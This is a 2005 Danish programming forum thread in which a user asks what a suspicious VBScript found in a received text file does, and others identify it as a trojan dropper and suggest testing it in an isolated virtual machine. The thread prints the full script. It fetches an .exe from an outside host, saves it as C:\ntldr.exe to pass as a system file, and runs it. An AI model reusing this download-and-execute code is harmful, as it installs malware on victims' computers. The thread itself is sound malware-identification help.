Avatar billede sylvesternielsen Nybegynder
19. april 2005 - 15:54 Der er 8 kommentarer og
1 løsning

Hvad gør denne kode?

Jeg har modtaget en .txt fil med denne indhold i headeren.

Så vidt jeg kan se er det meningen at den skal hente filen a.exe og gemme den som ntldr.exe og så derefter eksekvere den.
Er det korrekt?


<script language=vbscript>
: on error resume next:
: set o = CreateObject("msxml2.XMLHTTP") :
: o.open "GET","http://users.cybercity.dk/xxxxxxx/a.exe",False
:
: o.send :
: set s = createobject("adodb.stream") :
: s.type=1 :
: s.open :
: s.write o.responseBody :
: s.savetofile "C:\ntldr.exe",2 :
: Set ws = CreateObject("WScript.Shell") :
: ws.Run "C:\ntldr.exe", 3, FALSE :
</script>
Avatar billede thesurfer Nybegynder
19. april 2005 - 15:57 #1
Ja.
Avatar billede sylvesternielsen Nybegynder
19. april 2005 - 15:59 #2
ok.. Er der en måde at finde ud af hvad den fil gør på systemet?
Avatar billede thesurfer Nybegynder
19. april 2005 - 16:01 #3
Kan *IKKE* anbefales, men ja: Du kan køre/afvikle filen
Avatar billede thesurfer Nybegynder
19. april 2005 - 16:04 #4
..jeg går ud fra, at du mener "a.exe"..
Navnet "ntldr" er en system fil, men ikke med endelsen ".exe"..!
Avatar billede sylvesternielsen Nybegynder
19. april 2005 - 16:05 #5
Ja det er jeg klar over..

Men jeg vil gerne finde ud af hvad filen gør når den bliver eksekveret. Er der en måde at fake en kørsel på?
Avatar billede thesurfer Nybegynder
19. april 2005 - 16:32 #6
Nej, for hvordan skulle det virke?

Hvis du har VMware eller VirtualPC, kan du afvikle programmet i emulatoren.. bar du husker at fjerne internetforbindelsen..

Du kunne jo slå "ntldr.exe" op på nettet.. det er IKKE en system fil, da system filen kun hedder "ntldr" (ikke nogen endelse)..

Det er en virus/trojan du har der..
Avatar billede ferdinand.k Mester
29. april 2005 - 13:00 #7
Avatar billede sylvesternielsen Nybegynder
19. maj 2005 - 18:19 #8
Smider du et svar?
Avatar billede thesurfer Nybegynder
20. maj 2005 - 12:49 #9
Ja, hvis det er mig, du mener :-)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Kurser inden for grundlæggende programmering

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester